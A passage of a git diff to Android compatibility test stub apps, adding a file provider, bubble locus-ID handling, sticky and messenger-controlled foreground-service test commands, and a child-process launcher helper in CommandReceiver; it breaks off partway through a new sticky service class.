+                 android:resource="@xml/shortcuts"/>
         </activity>
 
+        <service android:name="android.app.stubs.TrimMemService"
+            android:exported="true"
+            android:isolatedProcess="true">
+        </service>
+
+        <service android:name=".CloseSystemDialogsTestService"
+            android:exported="true" />
     </application>
 
 </manifest>
-
diff --git a/tests/app/app/ProviderAndroidManifest.xml b/tests/app/app/ProviderAndroidManifest.xml
new file mode 100644
index 0000000..2aef16d
--- /dev/null
+++ b/tests/app/app/ProviderAndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.app.stubs">
+
+    <application>
+
+        <provider
+            android:name="android.app.stubs.AssetFileProvider"
+            android:authorities="android.app.stubs.assets"
+            android:exported="false"
+            android:grantUriPermissions="true"
+        />
+
+    </application>
+
+</manifest>
diff --git a/tests/app/app/assets/picture_400_by_300.png b/tests/app/app/assets/picture_400_by_300.png
new file mode 100644
index 0000000..cc3283c
--- /dev/null
+++ b/tests/app/app/assets/picture_400_by_300.png
Binary files differ
diff --git a/tests/app/app/src/android/app/stubs/AssetFileProvider.kt b/tests/app/app/src/android/app/stubs/AssetFileProvider.kt
new file mode 100644
index 0000000..7b3fb67
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/AssetFileProvider.kt
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.stubs
+
+import android.content.ContentProvider
+import android.content.ContentValues
+import android.content.res.AssetFileDescriptor
+import android.database.Cursor
+import android.net.Uri
+
+class AssetFileProvider : ContentProvider() {
+    override fun onCreate() = true
+
+    override fun openAssetFile(uri: Uri, mode: String): AssetFileDescriptor? {
+        val assets = context?.assets
+        val filename = uri.lastPathSegment
+        if (mode == "r" && assets != null && filename != null) {
+            return assets.openFd(filename)
+        }
+        return super.openAssetFile(uri, mode)
+    }
+
+    override fun query(
+        uri: Uri,
+        projection: Array<String>?,
+        selection: String?,
+        selectionArgs: Array<String>?,
+        sortOrder: String?
+    ): Cursor = throw UnsupportedOperationException()
+
+    override fun getType(uri: Uri): String? = null
+
+    override fun insert(uri: Uri, values: ContentValues?): Uri =
+            throw UnsupportedOperationException()
+
+    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int =
+            throw UnsupportedOperationException()
+
+    override fun update(
+        uri: Uri,
+        values: ContentValues?,
+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int = throw UnsupportedOperationException()
+}
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/BubbledActivity.java b/tests/app/app/src/android/app/stubs/BubbledActivity.java
index 9974c88..f498038 100644
--- a/tests/app/app/src/android/app/stubs/BubbledActivity.java
+++ b/tests/app/app/src/android/app/stubs/BubbledActivity.java
@@ -17,18 +17,30 @@
 package android.app.stubs;
 
 import android.app.Activity;
+import android.content.LocusId;
 import android.os.Bundle;
 
 /**
  * Used by NotificationManagerTest for testing policy around bubbles, this activity is shown
- * within the bubble.
+ * within the bubble (and sometimes outside too depending on the test).
  */
 public class BubbledActivity extends Activity {
-    final String TAG = BubbledActivity.class.getSimpleName();
+
+    public static final String EXTRA_LOCUS_ID = "EXTRA_ID_LOCUS_ID";
+    private LocusId mLocusId;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
+
+        Bundle b = getIntent().getExtras();
+        String locus = b != null ? b.getString(EXTRA_LOCUS_ID, null) : null;
+        mLocusId = locus != null ? new LocusId(locus) : null;
+        setLocusContext(mLocusId, null /* bundle */);
+    }
+
+    public LocusId getLocusId() {
+        return mLocusId;
     }
 }
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index fef0e68..a3bf4f7 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -16,8 +16,6 @@
 
 package android.app.stubs;
 
-import static android.app.Notification.CATEGORY_CALL;
-
 import android.app.Notification;
 import android.app.PendingIntent;
 import android.app.Person;
@@ -61,13 +59,14 @@
     private Notification getNotificationForTest(int testCase, Context context) {
         final Intent intent = new Intent(context, SendBubbleActivity.class);
         final PendingIntent pendingIntent =
-                PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
+                PendingIntent.getActivity(getApplicationContext(), 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
         Notification.Builder nb = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("foofoo")
                 .setContentIntent(pendingIntent)
+                .setShowForegroundImmediately(true)
                 .setSmallIcon(android.R.drawable.sym_def_app_icon)
                 .setStyle(new Notification.MessagingStyle(person)
                         .setConversationTitle("Bubble Chat")
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 5a13eab..b618dcc 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -17,18 +17,21 @@
 package android.app.stubs;
 
 import android.app.ActivityManager;
+import android.app.ForegroundServiceStartNotAllowedException;
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
-import android.os.Binder;
 import android.os.Bundle;
 import android.os.IBinder;
+import android.os.Parcel;
 import android.util.ArrayMap;
 import android.util.Log;
 
+import java.util.concurrent.TimeUnit;
+
 public class CommandReceiver extends BroadcastReceiver {
 
     private static final String TAG = "CommandReceiver";
@@ -49,15 +52,32 @@
     public static final int COMMAND_CREATE_FGSL_PENDING_INTENT = 12;
     public static final int COMMAND_SEND_FGSL_PENDING_INTENT = 13;
     public static final int COMMAND_BIND_FOREGROUND_SERVICE = 14;
+    public static final int COMMAND_START_CHILD_PROCESS = 15;
+    public static final int COMMAND_STOP_CHILD_PROCESS = 16;
+    public static final int COMMAND_WAIT_FOR_CHILD_PROCESS_GONE = 17;
+    public static final int COMMAND_START_SERVICE = 18;
+    public static final int COMMAND_STOP_SERVICE = 19;
+    public static final int COMMAND_START_FOREGROUND_SERVICE_STICKY = 20;
+    public static final int COMMAND_STOP_FOREGROUND_SERVICE_STICKY = 21;
+
+    public static final int RESULT_CHILD_PROCESS_STARTED = IBinder.FIRST_CALL_TRANSACTION;
+    public static final int RESULT_CHILD_PROCESS_STOPPED = IBinder.FIRST_CALL_TRANSACTION + 1;
+    public static final int RESULT_CHILD_PROCESS_GONE = IBinder.FIRST_CALL_TRANSACTION + 2;
 
     public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
     public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
     public static final String EXTRA_FLAGS = "android.app.stubs.extra.FLAGS";
+    public static final String EXTRA_CALLBACK = "android.app.stubs.extra.callback";
+    public static final String EXTRA_CHILD_CMDLINE = "android.app.stubs.extra.child_cmdline";
+    public static final String EXTRA_TIMEOUT = "android.app.stubs.extra.child_cmdline";
+    public static final String EXTRA_MESSENGER = "android.app.stubs.extra.EXTRA_MESSENGER";
 
     public static final String SERVICE_NAME = "android.app.stubs.LocalService";
     public static final String FG_SERVICE_NAME = "android.app.stubs.LocalForegroundService";
     public static final String FG_LOCATION_SERVICE_NAME =
             "android.app.stubs.LocalForegroundServiceLocation";
+    public static final String FG_STICKY_SERVICE_NAME =
+            "android.app.stubs.LocalForegroundServiceSticky";
 
     public static final String ACTIVITY_NAME = "android.app.stubs.SimpleActivity";
 
@@ -69,6 +89,9 @@
     // Map a packageName to a PendingIntent.
     private static ArrayMap<String, PendingIntent> sPendingIntent = new ArrayMap<>();
 
+    /** The child process, started via {@link #COMMAND_START_CHILD_PROCESS} */
+    private static Process sChildProcess;
+
     /**
      * Handle the different types of binding/unbinding requests.
      * @param context The Context in which the receiver is running.
@@ -91,14 +114,24 @@
             case COMMAND_START_FOREGROUND_SERVICE:
                 doStartForegroundService(context, intent);
                 break;
+            case COMMAND_START_SERVICE:
+                doStartService(context, intent);
+                break;
             case COMMAND_STOP_FOREGROUND_SERVICE:
-                doStopForegroundService(context, intent, FG_SERVICE_NAME);
+            case COMMAND_STOP_SERVICE:
+                doStopService(context, intent, FG_SERVICE_NAME);
                 break;
             case COMMAND_START_FOREGROUND_SERVICE_LOCATION:
                 doStartForegroundServiceWithType(context, intent);
                 break;
             case COMMAND_STOP_FOREGROUND_SERVICE_LOCATION:
-                doStopForegroundService(context, intent, FG_LOCATION_SERVICE_NAME);
+                doStopService(context, intent, FG_LOCATION_SERVICE_NAME);
+                break;
+            case COMMAND_START_FOREGROUND_SERVICE_STICKY:
+                doStartForegroundServiceSticky(context, intent);
+                break;
+            case COMMAND_STOP_FOREGROUND_SERVICE_STICKY:
+                doStopService(context, intent, FG_STICKY_SERVICE_NAME);
                 break;
             case COMMAND_START_ALERT_SERVICE:
                 doStartAlertService(context);
@@ -124,6 +157,15 @@
             case COMMAND_BIND_FOREGROUND_SERVICE:
                 doBindService(context, intent, FG_LOCATION_SERVICE_NAME);
                 break;
+            case COMMAND_START_CHILD_PROCESS:
+                doStartChildProcess(context, intent);
+                break;
+            case COMMAND_STOP_CHILD_PROCESS:
+                doStopChildProcess(context, intent);
+                break;
+            case COMMAND_WAIT_FOR_CHILD_PROCESS_GONE:
+                doWaitForChildProcessGone(context, intent);
+                break;
         }
     }
 
@@ -147,10 +189,24 @@
     private void doStartForegroundService(Context context, Intent commandIntent) {
         String targetPackage = getTargetPackage(commandIntent);
         Intent fgsIntent = new Intent();
+        fgsIntent.putExtras(commandIntent);
         fgsIntent.setComponent(new ComponentName(targetPackage, FG_SERVICE_NAME));
         int command = LocalForegroundService.COMMAND_START_FOREGROUND;
-        fgsIntent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
-        context.startForegroundService(fgsIntent);
+        fgsIntent.putExtras(LocalForegroundService.newCommand(command));
+        try {
+            context.startForegroundService(fgsIntent);
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            Log.d(TAG, "startForegroundService gets an "
+                    + " ForegroundServiceStartNotAllowedException", e);
+        }
+    }
+
+    private void doStartService(Context context, Intent commandIntent) {
+        String targetPackage = getTargetPackage(commandIntent);
+        Intent fgsIntent = new Intent();
+        fgsIntent.putExtras(commandIntent);
+        fgsIntent.setComponent(new ComponentName(targetPackage, FG_SERVICE_NAME));
+        context.startService(fgsIntent);
     }
 
     private void doStartForegroundServiceWithType(Context context, Intent commandIntent) {
@@ -159,11 +215,31 @@
         fgsIntent.putExtras(commandIntent); // include the fg service type if any.
         fgsIntent.setComponent(new ComponentName(targetPackage, FG_LOCATION_SERVICE_NAME));
         int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
-        fgsIntent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
-        context.startForegroundService(fgsIntent);
+        fgsIntent.putExtras(LocalForegroundService.newCommand(command));
+        try {
+            context.startForegroundService(fgsIntent);
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            Log.d(TAG, "startForegroundService gets an "
+                    + "ForegroundServiceStartNotAllowedException", e);
+        }
     }
 
-    private void doStopForegroundService(Context context, Intent commandIntent,
+    private void doStartForegroundServiceSticky(Context context, Intent commandIntent) {
+        String targetPackage = getTargetPackage(commandIntent);
+        Intent fgsIntent = new Intent();
+        fgsIntent.putExtras(commandIntent);
+        fgsIntent.setComponent(new ComponentName(targetPackage, FG_STICKY_SERVICE_NAME));
+        int command = LocalForegroundService.COMMAND_START_FOREGROUND;
+        fgsIntent.putExtras(LocalForegroundService.newCommand(command));
+        try {
+            context.startForegroundService(fgsIntent);
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            Log.d(TAG, "startForegroundService gets an "
+                    + "ForegroundServiceStartNotAllowedException", e);
+        }
+    }
+
+    private void doStopService(Context context, Intent commandIntent,
             String serviceName) {
         String targetPackage = getTargetPackage(commandIntent);
         Intent fgsIntent = new Intent();
@@ -187,10 +263,12 @@
         ActivityManager am = context.getSystemService(ActivityManager.class);
         am.appNotResponding("CTS - self induced");
     }
+
     private void doStartActivity(Context context, Intent commandIntent) {
         String targetPackage = getTargetPackage(commandIntent);
         Intent activityIntent = new Intent(Intent.ACTION_MAIN);
         sActivityIntent.put(targetPackage, activityIntent);
+        activityIntent.putExtras(commandIntent);
         activityIntent.setComponent(new ComponentName(targetPackage, ACTIVITY_NAME));
         activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         context.startActivity(activityIntent);
@@ -209,9 +287,9 @@
         final Intent intent = new Intent().setComponent(
                 new ComponentName(targetPackage, FG_LOCATION_SERVICE_NAME));
         int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
-        intent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
+        intent.putExtras(LocalForegroundService.newCommand(command));
         final PendingIntent pendingIntent = PendingIntent.getForegroundService(context, 0,
-                intent, 0);
+                intent, PendingIntent.FLAG_IMMUTABLE);
         sPendingIntent.put(targetPackage, pendingIntent);
     }
 
@@ -224,6 +302,71 @@
         }
     }
 
+    private void doStartChildProcess(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final IBinder callback = extras.getBinder(EXTRA_CALLBACK);
+        final String[] cmdline = extras.getStringArray(EXTRA_CHILD_CMDLINE);
+        final Parcel data = Parcel.obtain();
+        final Parcel reply = Parcel.obtain();
+
+        try {
+            sChildProcess = Runtime.getRuntime().exec(cmdline);
+            if (sChildProcess != null) {
+                Log.i(TAG, "Forked child: " + sChildProcess);
+                callback.transact(RESULT_CHILD_PROCESS_STARTED, data, reply, 0);
+            } // else the remote will fail with timeout
+        } catch (Exception e) {
+            Log.e(TAG, "Unable to execute command", e);
+            sChildProcess = null;
+        } finally {
+            data.recycle();
+            reply.recycle();
+        }
+    }
+
+    private void doStopChildProcess(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final IBinder callback = extras.getBinder(EXTRA_CALLBACK);
+        final long timeout = extras.getLong(EXTRA_TIMEOUT);
+        waitForChildProcessGone(true, callback, RESULT_CHILD_PROCESS_STOPPED, timeout);
+    }
+
+    private void doWaitForChildProcessGone(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final IBinder callback = extras.getBinder(EXTRA_CALLBACK);
+        final long timeout = extras.getLong(EXTRA_TIMEOUT);
+        waitForChildProcessGone(false, callback, RESULT_CHILD_PROCESS_GONE, timeout);
+    }
+
+    private static synchronized void waitForChildProcessGone(final boolean destroy,
+            final IBinder callback, final int transactionCode, final long timeout) {
+        if (destroy) {
+            sChildProcess.destroy();
+        }
+        new Thread(() -> {
+            final Parcel data = Parcel.obtain();
+            final Parcel reply = Parcel.obtain();
+            try {
+                if (sChildProcess != null && sChildProcess.isAlive()) {
+                    final boolean exit = sChildProcess.waitFor(timeout, TimeUnit.MILLISECONDS);
+                    if (exit) {
+                        Log.i(TAG, "Child process died: " + sChildProcess);
+                        callback.transact(transactionCode, data, reply, 0);
+                    } else {
+                        Log.w(TAG, "Child process is still alive: " + sChildProcess);
+                    }
+                } else {
+                    callback.transact(transactionCode, data, reply, 0);
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "Error", e);
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }).start();
+    }
+
     private String getTargetPackage(Intent intent) {
         return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
     }
@@ -234,6 +377,21 @@
 
     public static void sendCommand(Context context, int command, String sourcePackage,
             String targetPackage, int flags, Bundle extras) {
+        final Intent intent = makeIntent(command, sourcePackage, targetPackage, flags, extras);
+        Log.d(TAG, "Sending broadcast " + intent);
+        context.sendOrderedBroadcast(intent, null);
+    }
+
+    public static void sendCommandWithBroadcastOptions(Context context, int command,
+            String sourcePackage, String targetPackage, int flags, Bundle extras,
+            Bundle broadcastOptions) {
+        final Intent intent = makeIntent(command, sourcePackage, targetPackage, flags, extras);
+        Log.d(TAG, "Sending broadcast with BroadcastOptions " + intent);
+        context.sendOrderedBroadcast(intent, null, broadcastOptions, null, null, 0, null, null);
+    }
+
+    private static Intent makeIntent(int command, String sourcePackage,
+            String targetPackage, int flags, Bundle extras) {
         Intent intent = new Intent();
         if (command == COMMAND_BIND_SERVICE || command == COMMAND_START_FOREGROUND_SERVICE) {
             intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
@@ -245,12 +403,7 @@
         if (extras != null) {
             intent.putExtras(extras);
         }
-        sendCommand(context, intent);
-    }
-
-    private static void sendCommand(Context context, Intent intent) {
-        Log.d(TAG, "Sending broadcast " + intent);
-        context.sendOrderedBroadcast(intent, null);
+        return intent;
     }
 
     private ServiceConnection addServiceConnection(final String packageName) {
diff --git a/tests/app/app/src/android/app/stubs/LocalAlertService.java b/tests/app/app/src/android/app/stubs/LocalAlertService.java
index 52dbc58..b800c5b 100644
--- a/tests/app/app/src/android/app/stubs/LocalAlertService.java
+++ b/tests/app/app/src/android/app/stubs/LocalAlertService.java
@@ -15,24 +15,22 @@
  */
 package android.app.stubs;
 
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
 import android.app.Service;
 import android.content.Intent;
 import android.graphics.Color;
 import android.graphics.Point;
-import android.os.Bundle;
 import android.os.IBinder;
-import android.util.Log;
 import android.view.View;
 import android.view.WindowManager;
 import android.widget.TextView;
 
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-
 public class LocalAlertService extends Service {
     public static final String COMMAND_SHOW_ALERT = "show";
     public static final String COMMAND_HIDE_ALERT = "hide";
@@ -48,6 +46,7 @@
         } else if (COMMAND_HIDE_ALERT.equals(action)) {
             hideAlertWindow(mAlertWindow);
             mAlertWindow = null;
+            stopSelf();
         }
         return START_NOT_STICKY;
     }
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundService.java b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
index 0c096c9..52a9b61 100644
--- a/tests/app/app/src/android/app/stubs/LocalForegroundService.java
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
@@ -16,14 +16,20 @@
 
 package android.app.stubs;
 
+import android.app.ForegroundServiceStartNotAllowedException;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
+import android.os.Binder;
 import android.os.Bundle;
+import android.os.Handler;
 import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
 import android.util.Log;
 
 import com.android.compatibility.common.util.IBinderParcelable;
@@ -42,13 +48,21 @@
     public static final int COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION = 4;
     public static final int COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION_USING_FLAGS = 5;
     public static final int COMMAND_START_NO_FOREGROUND = 6;
+    public static final int COMMAND_START_FOREGROUND_DEFER_NOTIFICATION = 7;
+    public static final int COMMAND_STOP_SELF = 8;
+
+    private final Messenger mMessenger = new Messenger(new IncomingHandler());
 
     private int mNotificationId = 0;
 
+    protected String getTag() {
+        return TAG;
+    }
+
     @Override
     public void onCreate() {
         super.onCreate();
-        Log.d(TAG, "service created: " + this + " in " + android.os.Process.myPid());
+        Log.d(getTag(), "service created: " + this + " in " + android.os.Process.myPid());
     }
 
     /** Returns the channel id for this service */
@@ -57,7 +71,7 @@
     }
 
     @Override
-    public void onStart(Intent intent, int startId) {
+    public int onStartCommand(Intent intent, int flags, int startId) {
         String notificationChannelId = getNotificationChannelId();
         NotificationManager notificationManager = getSystemService(NotificationManager.class);
         notificationManager.createNotificationChannel(new NotificationChannel(
@@ -65,42 +79,54 @@
                 NotificationManager.IMPORTANCE_DEFAULT));
 
         Context context = getApplicationContext();
-        int command = intent.getIntExtra(EXTRA_COMMAND, -1);
+        final int command = intent.getIntExtra(EXTRA_COMMAND, -1);
 
-        Log.d(TAG, "service start cmd " + command + ", intent " + intent);
+        Log.d(getTag(), "service start cmd " + command + ", intent " + intent);
 
         switch (command) {
             case COMMAND_START_FOREGROUND:
+            case COMMAND_START_FOREGROUND_DEFER_NOTIFICATION: {
+                handleIncomingMessengerIfNeeded(intent);
                 mNotificationId ++;
-                Log.d(TAG, "Starting foreground using notification " + mNotificationId);
-                Notification notification =
+                final boolean showNow = (command == COMMAND_START_FOREGROUND);
+                Log.d(getTag(), "Starting foreground using notification " + mNotificationId);
+                Notification.Builder builder =
                         new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                                 .setContentTitle(getNotificationTitle(mNotificationId))
-                                .setSmallIcon(R.drawable.black)
-                                .build();
-                startForeground(mNotificationId, notification);
+                                .setSmallIcon(R.drawable.black);
+                if (showNow) {
+                    builder.setForegroundServiceBehavior(
+                            Notification.FOREGROUND_SERVICE_IMMEDIATE);
+                }
+                try {
+                    startForeground(mNotificationId, builder.build());
+                } catch (ForegroundServiceStartNotAllowedException e) {
+                    Log.d(TAG, "startForeground gets an "
+                            + " ForegroundServiceStartNotAllowedException", e);
+                }
                 break;
+            }
             case COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION:
-                Log.d(TAG, "Stopping foreground removing notification");
+                Log.d(getTag(), "Stopping foreground removing notification");
                 stopForeground(true);
                 break;
             case COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION:
-                Log.d(TAG, "Stopping foreground without removing notification");
+                Log.d(getTag(), "Stopping foreground without removing notification");
                 stopForeground(false);
                 break;
             case COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION_USING_FLAGS:
-                Log.d(TAG, "Stopping foreground removing notification using flags");
+                Log.d(getTag(), "Stopping foreground removing notification using flags");
                 stopForeground(Service.STOP_FOREGROUND_REMOVE | Service.STOP_FOREGROUND_DETACH);
                 break;
             case COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION:
-                Log.d(TAG, "Detaching foreground service notification");
+                Log.d(getTag(), "Detaching foreground service notification");
                 stopForeground(Service.STOP_FOREGROUND_DETACH);
                 break;
             case COMMAND_START_NO_FOREGROUND:
-                Log.d(TAG, "Starting without calling startForeground()");
+                Log.d(getTag(), "Starting without calling startForeground()");
                 break;
             default:
-                Log.e(TAG, "Unknown command: " + command);
+                Log.e(getTag(), "Unknown command: " + command);
         }
 
         sendBroadcast(
@@ -109,11 +135,12 @@
         // Do parent's onStart at the end, so we don't race with the test code waiting for us to
         // execute.
         super.onStart(intent, startId);
+        return START_NOT_STICKY;
     }
 
     @Override
     public void onDestroy() {
-        Log.d(TAG, "service destroyed: " + this + " in " + android.os.Process.myPid());
+        Log.d(getTag(), "service destroyed: " + this + " in " + android.os.Process.myPid());
         super.onDestroy();
     }
 
@@ -124,7 +151,52 @@
         return bundle;
     }
 
+    public static Bundle newCommand(int command) {
+        Bundle bundle = new Bundle();
+        bundle.putParcelable(LocalService.REPORT_OBJ_NAME, new IBinderParcelable(new Binder()));
+        bundle.putInt(EXTRA_COMMAND, command);
+        return bundle;
+    }
+
     public static String getNotificationTitle(int id) {
         return "I AM FOREGROOT #" + id;
     }
+
+    /**
+     * Check if the given {@code intent} has embodied a messenger object which is to receive
+     * the messenger interface based controller, if so, send our {@link #mMessenger} to it.
+     */
+    private void handleIncomingMessengerIfNeeded(final Intent intent) {
+        final Bundle extras = intent.getExtras();
+        if (extras != null) {
+            final IBinder binder = extras.getBinder(CommandReceiver.EXTRA_MESSENGER);
+            if (binder != null) {
+                final Messenger messenger = new Messenger(binder);
+                final Bundle reply = new Bundle();
+                final Message msg = Message.obtain();
+                msg.obj = reply;
+                reply.putBinder(CommandReceiver.EXTRA_MESSENGER, mMessenger.getBinder());
+                try {
+                    messenger.send(msg);
+                } catch (RemoteException e) {
+                    Log.e(TAG, "Unable to send back the messenger controller interface");
+                }
+                msg.recycle();
+            }
+        }
+    }
+
+    private class IncomingHandler extends Handler {
+        public void handleMessage(Message msg) {
+            switch (msg.what) {
+                case COMMAND_STOP_SELF:
+                    Log.d(TAG, "Stopping self");
+                    stopSelf();
+                    break;
+                default:
+                    Log.e(TAG, "Unsupported command via messenger interface: " + msg.what);
+                    break;
+            }
+        }
+    }
 }
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundServiceLocation.java b/tests/app/app/src/android/app/stubs/LocalForegroundServiceLocation.java
index 56346db..a0f140e 100644
--- a/tests/app/app/src/android/app/stubs/LocalForegroundServiceLocation.java
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundServiceLocation.java
@@ -16,6 +16,7 @@
 
 package android.app.stubs;
 
+import android.app.ForegroundServiceStartNotAllowedException;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
@@ -44,7 +45,7 @@
     }
 
     @Override
-    public void onStart(Intent intent, int startId) {
+    public int onStartCommand(Intent intent, int flags, int startId) {
         String notificationChannelId = getNotificationChannelId();
         NotificationManager notificationManager = getSystemService(NotificationManager.class);
         notificationManager.createNotificationChannel(new NotificationChannel(
@@ -63,14 +64,27 @@
                         .setContentTitle(getNotificationTitle(mNotificationId))
                         .setSmallIcon(R.drawable.black)
                         .build();
-                startForeground(mNotificationId, notification);
+                try {
+                    startForeground(mNotificationId, notification);
+                } catch (ForegroundServiceStartNotAllowedException e) {
+                    Log.d(TAG, "startForeground gets an "
+                            + " ForegroundServiceStartNotAllowedException", e);
+                }
                 //assertEquals(type, getForegroundServiceType());
                 break;
+            case COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION:
+                Log.d(TAG, "Stopping foreground removing notification");
+                stopForeground(true);
+                break;
+            case COMMAND_START_NO_FOREGROUND:
+                Log.d(TAG, "Starting without calling startForeground()");
+                break;
             default:
                 Log.e(TAG, "Unknown command: " + command);
         }
 
         sendBroadcast(new Intent(ACTION_START_FGSL_RESULT)
                 .setFlags(Intent.FLAG_RECEIVER_FOREGROUND));
+        return START_NOT_STICKY;
     }
 }
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundServiceSticky.java b/tests/app/app/src/android/app/stubs/LocalForegroundServiceSticky.java
new file mode 100644
index 0000000..794ba7d
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundServiceSticky.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Foreground Service with location type.
+ */
+public class LocalForegroundServiceSticky extends LocalForegroundService {
+    private static final String TAG = "LocalForegroundServiceSticky";
+    public static String STICKY_FLAG =
+            "android.app.stubs.LocalForegroundServiceSticky.sticky_flag";
+    public static String ACTION_RESTART_FGS_STICKY_RESULT =
+            "android.app.stubs.LocalForegroundServiceSticky.STICKY_RESULT";
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if (intent == null) {
+            Log.d(TAG, "LocalForegroundServiceSticky.onStartCommand: null intent");
+            sendBroadcast(new Intent(ACTION_RESTART_FGS_STICKY_RESULT).setFlags(
+                    Intent.FLAG_RECEIVER_FOREGROUND));
+            return START_STICKY;
+        } else {
